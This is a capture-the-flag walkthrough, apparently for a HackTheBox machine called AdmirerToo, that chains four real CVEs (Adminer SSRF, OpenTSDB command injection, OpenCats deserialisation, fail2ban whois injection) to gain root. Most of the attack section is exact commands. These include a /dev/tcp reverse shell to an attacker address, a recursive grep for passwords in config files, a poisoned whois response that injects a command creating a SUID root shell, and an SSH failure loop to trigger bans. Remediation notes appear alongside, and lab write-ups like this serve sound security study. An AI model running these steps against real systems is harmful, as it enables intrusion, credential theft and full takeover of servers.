AdmirerToo
Summary
Target $TARGET (AdmirerToo) was fully compromised through a four-CVE chain. A virtual-host enumeration exposed Adminer 4.7.8 at db.admirer-gallery.htb, vulnerable to server-side request forgery (CVE-2021-21311): a rogue MySQL listener that returned an HTTP redirect coerced the Adminer server into reaching an internal OpenTSDB service bound exclusively to localhost on port 4242.
OpenTSDB accepted unauthenticated HTTP requests and passed gnuplot-style query parameters directly to the OS shell (CVE-2020-35476), yielding a reverse shell as the opentsdb service account. Plaintext credentials recovered from application configuration files authenticated against local user jennifer, whose account had access to an internal OpenCats 0.9.5.2 instance on port 8080.
OpenCats deserialised untrusted PHP objects in its resume-import feature (CVE-2021-25294), and the bundled TCPDF gadget chain was weaponised to overwrite /etc/whois.conf, redirecting whois lookups to my own server. Fail2ban's mail-whois action piped raw, unsanitised whois output into sendmail (CVE-2021-32749); repeatedly triggering a ban caused fail2ban to call the poisoned whois server as root, injecting a command that deposited a SUID-root bash copy at /tmp/rootbash: executed for full root control.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"Attack path: how the box was taken
Exact commands 3
Confirm service versions on both externally reachable ports.
$ nmap -sV -sC -p 22,80 --min-rate 5000 $TARGETRegister both virtual hosts for local resolution.
$ echo "$TARGET admirer-gallery.htb db.admirer-gallery.htb" | sudo tee -a /etc/hostsEnumerate additional virtual hosts; db.admirer-gallery.htb is the key discovery.
$ gobuster vhost -u http://admirer-gallery.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain -o vhosts.txtExact commands 3
Clone a rogue MySQL redirect PoC; any implementation that completes the MySQL handshake then returns an HTTP redirect will work.
$ git clone https://github.com/Aldo-f/CVE-2021-21311 /tmp/admirer-ssrfStart the fake MySQL server; it will redirect Adminer's connection to the internal OpenTSDB /version endpoint to verify reachability.
$ python3 /tmp/admirer-ssrf/adminer_redirect.py --lport 3306 --target 'http://127.0.0.1:4242/version'Submit the Adminer login pointed at $ATTACKER_IP; Adminer connects to the rogue MySQL, which issues the redirect to 127.0.0.1:4242.
$ curl -s -X POST 'http://db.admirer-gallery.htb/adminer.php' --data "auth[driver]=server&auth[server]=$ATTACKER_IP&auth[username]=foo&auth[password]=foo&auth[db]="FixUpgrade Adminer and restrict database administration tool accessCritical
Exact commands 4
Open a listener on my machine to catch the reverse shell.
$ nc -lvnp 4444URL-encoded reverse shell payload; substitute $ATTACKER_IP with your machine's IP.
$ RCMD="bash+-i+>%26+/dev/tcp/$ATTACKER_IP/4444+0>%261"Restart the rogue MySQL server now redirecting to the OpenTSDB command injection URL; resubmit the Adminer login from step 2 to trigger the SSRF→RCE chain.
$ python3 /tmp/admirer-ssrf/adminer_redirect.py --lport 3306 --target "http://127.0.0.1:4242/q?start=2000/10/26-00:00:00&ignore=1&m=sum:sys.cpu.user%7Bhost%3Dweb01%7D&style=%5C%5D%5B%60${RCMD}%60&png"From the opentsdb reverse shell, confirm identity and locate user.txt; flag value is <user.txt>.
$ id; find / -name user.txt -type f -exec sh -c 'echo ===FLAG===; cat "$1"' _ {} \; 2>/dev/null
uid=1000(opentsdb) gid=1000(opentsdb)FixPatch OpenTSDB, require authentication, and isolate it from web-facing servicesCritical
Exact commands 2
Identify configuration files that may contain credentials from the opentsdb shell.
$ find /opt /etc /var /home -name '*.conf' -o -name '*.cfg' -o -name '*.properties' -o -name '*.ini' 2>/dev/null | xargs grep -l 'pass\|pwd\|secret\|credential' 2>/dev/nullExtract candidate passwords from OpenTSDB configuration directories.
$ grep -rn 'password\|passwd\|secret' /opt/opentsdb/ /etc/opentsdb/ /var/lib/opentsdb/ 2>/dev/nullFixEliminate plaintext credentials in application configuration filesHigh
Exact commands 2
Try both recovered passwords to switch to jennifer; the user flag is <user.txt>.
$ for p in "$PASSWORD2" "$PASSWORD"; do printf '%s\n' "$p" | su - jennifer -c 'id; cat /home/jennifer/user.txt' 2>&1; done
uid=1002(jennifer) gid=100(users)From jennifer's shell, enumerate internal listeners to discover OpenCats on port 8080.
$ ss -tlnpExact commands 3
Forward the internal OpenCats port to my machine; authenticate with password.
$ ssh -L 8080:127.0.0.1:8080 jennifer@$TARGETPrepare the /etc/whois.conf payload: route whois lookups for $ATTACKER_IP to my port-43 listener. Substitute $ATTACKER_IP with your machine's IP.
$ printf "$ATTACKER_IP\t$ATTACKER_IP\n" > /tmp/whois.payloadRun the CVE-2021-25294 exploit (TCPDF gadget chain) to write the poisoned whois.conf; substitute with an equivalent PoC for this CVE if needed.
$ python3 opencats_exploit.py --url http://127.0.0.1:8080 --user jennifer --pass "$PASSWORD" --write-path /etc/whois.conf --content-file /tmp/whois.payloadFixPatch OpenCats and prevent PHP deserialisation of untrusted inputCritical
Exact commands 3
Serve the malicious whois response on port 43; the injected mail argument causes sendmail to create the SUID rootbash. Keep this listener running through the ban trigger.
$ printf 'whois stub\n" --exec="cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash"@pwn.local\n' > /tmp/whois.payload && nc -lvnp 43 < /tmp/whois.payloadGenerate repeated failed SSH authentication attempts from $ATTACKER_IP to trigger a fail2ban ban; the ban fires the mail-whois action as root.
$ for i in $(seq 1 20); do ssh -o StrictHostKeyChecking=no -o BatchMode=yes invalid_user_x@$TARGET 2>/dev/null; doneVerify /tmp/rootbash is SUID root and execute it; root flag value is <root.txt>.
$ printf '%s\n' "$PASSWORD" | su - jennifer -c 'ls -l /tmp/rootbash; /tmp/rootbash -p -c "id; cat /root/root.txt"'
euid=0(root)FixUpgrade fail2ban and replace the mail-whois action with one that does not execute external commands as rootCritical
Attack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive, per GTFOBins, yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.38 ((Debian)) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.